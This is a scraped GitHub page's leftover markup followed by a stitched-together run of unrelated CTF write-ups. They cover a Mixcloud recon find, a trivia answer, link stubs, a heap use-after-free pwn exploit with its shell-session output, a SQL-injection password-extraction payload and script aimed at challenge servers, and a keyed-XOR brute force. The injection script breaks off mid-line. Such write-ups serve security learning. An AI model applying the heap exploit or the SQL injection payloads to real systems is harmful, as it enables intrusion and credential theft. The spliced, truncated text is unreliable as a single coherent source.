<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>Ctf-Write-Up</span></span></span><span>/</span>tamuCTF2k18<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>Ctf-Write-Up</span></span></span><span>/</span>tamuCTF2k18<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/BellalArezkiMustapha/Ctf-Write-Up/tree-commit/86cd5ba5111e97b2ce95b0daa56692a3b9e8f295/tamuCTF2k18" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/BellalArezkiMustapha/Ctf-Write-Up/file-list/master/tamuCTF2k18"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>readyXORnot.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
# s7a73farm's Recon - WriteupChallenge Description: Yes s7a73farm built some challenges. But he is also DJ. Can you find his mixes? Points: [300] Category: Recon
We already got quite some valuable information in the description. I first started to search the web for s7a73farm and found him on a bunch of streaming/music sites.
After searching around for a bit I discovered his mixcloud account: https://www.mixcloud.com/s7a73farm/stream/ He has a bunch of mixes there, so I knew I'm on the right track.
I looked at every of his tracks and found this one: https://www.mixcloud.com/s7a73farm/s7a73farm_hello-evil-corp_may_mix/ With the following comment from him: flag{h3ll0_3viLC0rP}
So we got our flag :) |
# NeverLan CTF 2018: Who knew?
**Category:** Trivia**Points:** 100
**Description:**
>This product had Highest Number Of "Distinct" Vulnerabilities in 1999
## Write-up
We can find this here:
>https://www.cvedetails.com/top-50-products.php?year=1999
Our flag is:
`Windows Nt` |
Please, do not write just a link to original writeup here.LOOOOOOOOL I **will** write a link to original writeup herehttps://gist.github.com/romanking98/630f2b3c7216ae389f4ea3ce551041e1 |
# vote 250(pwn)
題目:
>hk node: nc 47.90.103.10 6000>>cn node: nc 47.97.190.1 6000>>(Two challenge servers are identical, use either of them.)>>[Download](b8a4590d-9fee-4a34-8396-d63adac62a0d.zip)
menu:```0: Create1: Show2: Vote3: Result4: Cancel5: ExitAction: ```
呢條係經典嘅 use-after-free 題目
Create 嘅 code:
```C++void sub_400D2C(){...........for ( i = 0; i <= 15; ++i ) { if ( !*(&ptr + i) ) { sub_400C52(4199328LL); v2 = sub_400C90(4199328LL); if ( v2 > 0 && v2 <= 4096 ) { v0 = malloc(v2 + 16); *(_QWORD *)v0 = 0LL;..............}```
Cancel 嘅 code:
```C++void sub_40109D(){ char *v0; // rsi@8 int v1; // [sp+Ch] [bp-4h]@1
sub_400C52("Please enter the index: "); v1 = sub_400C90("Please enter the index: "); if ( v1 >= 0 && v1 <= 15 && *(&ptr + v1) ) { if ( --qword_602180[v1] == --*(_QWORD *)*(&ptr + v1) ) { if ( qword_602180[v1] < 0 ) free(*(&ptr + v1)); } else if ( qword_602180[v1] < 0 ) { v0 = (char *)*(&ptr + dword_602160) + 16; printf("%s", v0); fflush(stdout); sub_400C00(" has freed", v0); free(*(&ptr + v1)); *(&ptr + v1) = 0LL; } }}```
個bug就係free 之後冇清返ptr array 相應entry做0,引致UAF
有一個注意位就係,如果我request 0x20 name size, 實際會return 0x40 嘅object(冇睇清楚ida code嘅後果.........)
之後就係基本套路 leak libc-> fastbin attack -> get shell
不過由於冇得直接edit, 所以有好多error chk 要bypass .....
當leak完 libc, trigger consolidation之後, malloc 一個大少少嘅chunk 覆蓋晒之前個d chunk 嘅address
之後再寫假嘅meta data 去上一手memory address 相應嘅位置 (error chk bypass eg 前後位size 要match )
再free 返chunk 0 防止再malloc 個陣trigger heap inside freed heap error
之後malloc一個0x50(0x70) 拎左最頂塊chunk,再malloc 一個0x50(0x70) fastbin 就可以有arbitary writing...
```pythoncreate("qqqq",0x50)create("A"*3+p64(rce)*4,0x50)print "[+]get shell :)"r.sendline("0")sleep(1)#triger one gadgetr.sendline("4000")r.sendline("$0")r.sendline("ls -al")r.interactive()```
# Solution
solution: [solve.py](solve.py)
```# [*] '/root/Desktop/CTF_Game/n1ctf_2018/vote/libc-2.23.so'# Arch: amd64-64-little# RELRO: Partial RELRO# Stack: Canary found# NX: NX enabled# PIE: PIE enabled# [*] Paused (press any to continue)# 139870119717752
# 0x7f360ccceb78# leaked libc =0x7f360c90a000# malloc_hook = 0x7f360ccceb10# one = 0x7f360c9fa274# [+]get shell :)# [*] Switching to interactive mode# Please enter the name's size: total 36# dr-xr-xr-x 2 pwn pwn 4096 Mar 10 18:38 .# drwxr-xr-x 3 root root 4096 Mar 8 15:28 ..# -rw-r--r-- 1 pwn pwn 220 Mar 8 15:28 .bash_logout# -rw-r--r-- 1 pwn pwn 3771 Mar 8 15:28 .bashrc# -rw-r--r-- 1 pwn pwn 655 Mar 8 15:28 .profile# -rw-r--r-- 1 root root 26 Mar 9 11:12 flag# -rwxr-xr-x 1 root root 10544 Mar 8 15:29 vote# $ cat flag# N1CTF{Pr1nTf_2333333333!}# $
``` |
# CTF<h2>Capture The Flag</h2>Here you can find the scripts which has been used in solving the CTF Challenges.
Here you can find the scripts which has been used in solving the CTF Challenges. |
[https://rawsec.ml/en/PragyanCTF-2018-write-ups/#150-authenticate-your-way-to-admin-web](https://rawsec.ml/en/PragyanCTF-2018-write-ups/#150-authenticate-your-way-to-admin-web) |
# Full WriteUpFull Writeup on our website: [http://www.aperikube.fr/docs/xiomara_2018_re1/](http://www.aperikube.fr/docs/xiomara_2018_re1/)
-----
# TL;DR
The binary is a .NET executable. We can easily extract source code with ILSpy.
The flag is ciphered with an XOR algorithm but key’s length is very small.
I wrote a small python script which performs a brute force attack to recover the flag. |
## Writeup for challenge 'trustworthy'
This is a experimental task I made since I think Windows is not well-explored in CTF. So you can take this as a movement to encourage CTF players to learn more about Windows. :)
For the challenge description, please see distribution package in [challenge](/challenges/) folder.
The origin of this challenge is a presentation from James Forshaw (see reference).
To explain the logic of `server.exe` roughly : It checks the identity upon client connection, the check is done by enumerating threads in the client process and use `AccessCheck` to check the access from the thread token (if not present, use the primary token) against the security descriptor of `C:\token.txt`.
The intended solution involves using [S4U](https://blogs.msdn.microsoft.com/winsdk/2015/08/28/logon-as-a-user-without-a-password/) mechanism to obtain an IdentificationLevel impersonation token. Note the first hint suggest you about impersonation. (See the API documentation)
For more details, see [solution.cpp](solution.cpp) for more details.
## References
* [Slides of James Forshaw](https://www.slideshare.net/Shakacon/social-engineering-the-windows-kernel-by-james-forshaw) |
No need to de-obfuscate the JS - just cheese out the flag from a compare operation.
https://advancedpersistentjest.com/2018/02/24/writeup-flag-checker-2-mario-mystery-envy-xiomara-ctf/ |
N1CTF - 77777 Write-up-------------------------Category: WebPoints: 1000 (Dynamic scoring, goes down when more people solve it)
Description:```"77777" is my girlfriend's nickname,have fun xdd:)
hk node: http://47.75.14.48
cn node: http://47.97.168.223
(Two challenge servers are identical, use either of them.)```Upon visiting the site we're shown two very big hints, ``U can update my points in Profile.`` and ``And the flag is `admin's password`:)``, upon visiting the rest of the pages we can see the "profile" which just simply displays the amount of Points they have, on the "Somecode" page we get a screenshot of the code running in the background, and on the someinfo page we get a screenshot which displays what software is running on the server.
Somecode Picture:
After reading over the code it's obvious that the $points variable is vulnerable to SQL Injection, however it is also running through a waf function which we don't have the code for. After doing some research on different ways I could exploit it, I discovered a technique [here]() about using CONV(hex((query))) to extract data, after struggling on trying to get it working for ages, I FINALLY got it working using this query ``*CONV(HEX((SELECT MID(password,1,3))),16,10)``. For anyone who isn't familiar with the functions in the statement I'll break them down for you, MID allows you to obtain a substring of the field (I couldn't use SUBSTRING because it was blocked by the waf :( ), the format is ``MID(field, <starting position>, <length>)``, after some more fiddling around I wrote a quick python script to automate it for me and do the decoding.
```import requestsimport refrom time import sleeps = requests.Session()regex = "\|\s[\d]+<br" # Regex to extract the current pointsflag = "1"i = 1password = ""
def dec2hex(dec): result = s.get("https://www.binaryhexconverter.com/hesapla.php?fonksiyon=dec2hex°er={}&pad=false&v=2".format(dec)) return result.text
while True: hi = '*CONV(HEX((SELECT MID(password,{},1))),16,10)'.format(i) postData = { "flag":flag, "hi":hi } url = "http://47.75.14.48/" attack = s.post(url, data=postData, proxies=proxyDict) result = re.findall(regex, attack.text) if len(result) > 0: dechex = result[0].replace("| ","").replace(" |
## Keyed XOR
By PGODULTIMATE
This problem was one that I truly used team work on. My teammate was the first one to take a look at this one and set up:
```pyfrom binascii import unhexlifyfrom binascii import hexlify
x = []for i in '??????????????? ? \ ?????????? \ ??????? ???? ?? \ ? ???????? \ ???????? \ ?????????': x.append(ord(i))i = 0while i < 20538: key = 'superhuman' flag = '' for i in range(len(x)): flag += chr(x[i] ^ ord(key[i % len(key)])) print("\n" + flag) i += 1```
This gave us **easyctf{** but nothing else. He said he got this first word by reverse engineering the code based on the fact that the format is going to be **easyctf{}**. Nonetheless, while looking at this code I was thinking, "Whats with all those spaces?" After asking my teammate he told me that this is what was printed when he opened the file. This struck me as odd because I know the XOR format is like `\x<hex>`. That means that our text editor is not able to view the characters. So, I wrote another program to work on this.
```pyf = open("/Users/PGoel/Desktop/xortext.txt","rb")file_contents = f.read()print (file_contents)f.close()```
Make sure that this code is on **python3** or this would not work. FYI I am reading the XOR File given. The result I get is:
```\x16\x14\x03\x1c\x11\x1c\x13\x16\x07\x02\x02\x08\x0b\x1c\x04\t\x15\r\x15\x02\x15\x19\x11\x02\x1b\x1b\x1d\x1a\r\t\x14\x07\x0c\x01\x16\x02\x06\t\x0e\x11\x02\x1d\t\x15\x1b\n\x11\t\x19\x1a\x15\x03\x05\x02\x0e\x04\n\x10\x06\x11\x03\x16\x19\x0c\x1a\r\x03\x0e\x11\x19\x11\x07\x15\x17\x18```
I then discussed what this means and how to actually use it in the code we had because I was too lazy to rewrite it. My teammate then suggested to convert it into an array of individual numbers because that's what the `ord()` function did anyway. So we used this code:
```pyxored = "\x16\x14\x03\x1c\x11\x1c\x13\x16\x07\x02\x02\x08\x0b\x1c\x04\t\x15\r\x15\x02\x15\x19\x11\x02\x1b\x1b\x1d\x1a\r\t\x14\x07\x0c\x01\x16\x02\x06\t\x0e\x11\x02\x1d\t\x15\x1b\n\x11\t\x19\x1a\x15\x03\x05\x02\x0e\x04\n\x10\x06\x11\x03\x16\x19\x0c\x1a\r\x03\x0e\x11\x19\x11\x07\x15\x17\x18"x = []for i in xored: x.append(ord(i))print(x)```
The result is:
```[22, 20, 3, 28, 17, 28, 19, 22, 7, 2, 2, 8, 11, 28, 4, 9, 21, 13, 21, 2, 21, 25, 17, 2, 27, 27, 29, 26, 13, 9, 20, 7, 12, 1, 22, 2, 6, 9, 14, 17, 2, 29, 9, 21, 27, 10, 17, 9, 25, 26, 21, 3, 5, 2, 14, 4, 10, 16, 6, 17, 3, 22, 25, 12, 26, 13, 3, 14, 17, 25, 17, 7, 21, 23, 24]```
So I put this in the previous code and the results were a little better. I still had a major problem: I only know one of the flags. I wasn't even sure if **Superhuman** was the only word that resulted in **easyctf{**! So I decided to just feed in every single key until I figure it out. I first decided to see if Superhuman was indeed the right first key.
```pyfrom binascii import unhexlifyfrom binascii import hexlifyx = [22, 20, 3, 28, 17, 28, 19, 22, 7, 2, 2, 8, 11, 28, 4, 9, 21, 13, 21, 2, 21, 25, 17, 2, 27, 27, 29, 26, 13, 9, 20, 7, 12, 1, 22, 2, 6, 9, 14, 17, 2, 29, 9, 21, 27, 10, 17, 9, 25, 26, 21, 3, 5, 2, 14, 4, 10, 16, 6, 17, 3, 22, 25, 12, 26, 13, 3, 14, 17, 25, 17, 7, 21, 23, 24]f = ""i = 0while i < 20538: f = raw_input() if (f == "contends"): print("reached end") key = f flag = '' for i in range(len(x)): flag += chr(x[i] ^ ord(key[i % len(key)])) if (flag.find("easyctf{") != -1): print("\n" + flag) print(f) i += 1```
The result printed _**Superhuman**_ so that was correct. Now I had to just find out what the second key word was. Essentially I would do the same thing I did to determine if Superhuman was the right word for the second word. This basically just means that `key = 'superhuman' + f` instead of just **f**. So, I just replaced the code with this:
```pyfrom binascii import unhexlifyfrom binascii import hexlifyx = [22, 20, 3, 28, 17, 28, 19, 22, 7, 2, 2, 8, 11, 28, 4, 9, 21, 13, 21, 2, 21, 25, 17, 2, 27, 27, 29, 26, 13, 9, 20, 7, 12, 1, 22, 2, 6, 9, 14, 17, 2, 29, 9, 21, 27, 10, 17, 9, 25, 26, 21, 3, 5, 2, 14, 4, 10, 16, 6, 17, 3, 22, 25, 12, 26, 13, 3, 14, 17, 25, 17, 7, 21, 23, 24]f = ""i = 0while i < 20538: f = raw_input() if (f == "contends"): print("reached end") key = 'superhuman' + f flag = '' for i in range(len(x)): flag += chr(x[i] ^ ord(key[i % len(key)])) if (flag.count("{") == 1 and flag.count("}") == 1 and flag.endswith("}")): print("\n" + flag) print(f) i += 1```
I basically just filtered the results so that it printed out all the flags that were in the format **easyctf{}**. I got:
easyctf{flrgxoazfdzlflagishwlgdhrsqu`aqhypibddxtelvqkwyyipciihevcpwahfd} possession
easyctf{flrixoagrhgqflagishwlgdfrslal|bqhypibddxtebvqkjmutbpciihevcpwaffd} passengers
easyctf{flrzdzazfdzlflagishwlgducgsqu`aqhypibddxteqjdkwyyipciihevcpwauzq} profession
easyctf{flrzdhajadzlflagishwlgducusar`aqhypibddxteqjvkg~yipciihevcpwauzc} protection
easyctf{flvzjjaeyhgqflagishwlg`umwsnjl|bqhypibddxtaqdtkhfutbpciihevcpweuta} travellers
easyctf{flrzdazfdzlflagishwlgducbsqu`aqhypibddxteqjakwyyipciihevcpwauzt} procession
easyctf{flrmyayadzlflagishwlgdb~bsrr`aqhypibddxtefwakt~yipciihevcpwabgt} perception
easyctf{flrmyzajadzlflagishwlgdb~gsar`aqhypibddxtefwdkg~yipciihevcpwabgq} perfection
easyctf{flgfnahadpqflagishwlgqixsscr`kbqhypibddxtpmqpke~ycbpciihevcpwtiae} entreaties
easyctf{floiyoa`yapqflagishwlgyf~rskjekbqhypibddxtxbwqkmf|cbpciihevcpw|fgd} marseilles
easyctf{flce~oadpcaqflagishwlgujyrsocgzbqhypibddxttnpqkio~rbpciihevcpwpj`d} amusements
easyctf{flagynajadzlflagishwlgwh~ssar`aqhypibddxtvlwpkg~yipciihevcpwrhge} correction
easyctf{flq|jhadpcaqflagishwlggsmusocgzbqhypibddxtfwdvkio~rbpciihevcpwbstc} statements
easyctf{flomxoagrhgqflagishwlgybrslal|bqhypibddxtxfvqkjmutbpciihevcpw|bfd} messengers
easyctf{fl`zbxangbzoflagishwlgvueesetfa|qhypibddxtwqlfkcxi|pciihevcpwsu|s} bridegroom
easyctf{flq|jnaepdrjflagishwlggsmssnc`iyqhypibddxtfwdpkhoyaypciihevcpwbste} stareleigh
easyctf{flpmxlajadcgflagishwlgfbqsar`xtqhypibddxtgfvrkg~yptpciihevcpwcbfg} respective
easyctf{flrznampcaqflagishwlgduibsfcgzbqhypibddxteqako~rbpciihevcpwaupt} precedents
easyctf{flvyyaypcvgflagishwlgo~dsrcgmtqhypibddxtakwgkto~etpciihevcpweogr} threepence
easyctf{flpmhnahadzlflagishwlgfbosscr`aqhypibddxtgffpke~yipciihevcpwcbve} recreation
easyctf{flrzdzazfbgqflagishwlgducgsquf|bqhypibddxteqjdkwytbpciihevcpwauzq} professors
easyctf{flrmyagalrgflagishwlgdb~bslrhitqhypibddxtefwakj~qatpciihevcpwabgt} percentage
easyctf{fl`zbxazxl|fflagishwlgvueesqkhguqhypibddxtwqlfkwgqoupciihevcpwsu|s} bridesmaid
easyctf{fldixhag|crqflagishwlgrfuslogibqhypibddxtsbvvkjc~abpciihevcpwwffc} fastenings
easyctf{flfaxnazehvvflagishwlgpnssqvlmeqhypibddxtqjvpkwzueepciihevcpwunfe} disrespect
easyctf{flfalnazfdzlflagishwlgpnkssqu`aqhypibddxtqjbpkwyyipciihevcpwunre} digression
easyctf{flaiylagahgqflagishwlgwf~qslrl|bqhypibddxtvbwrkj~utbpciihevcpwrfgg} carpenters
easyctf{flfaxoagahgqflagishwlgpnrslrl|bqhypibddxtqjvqkj~utbpciihevcpwunfd} dissenters
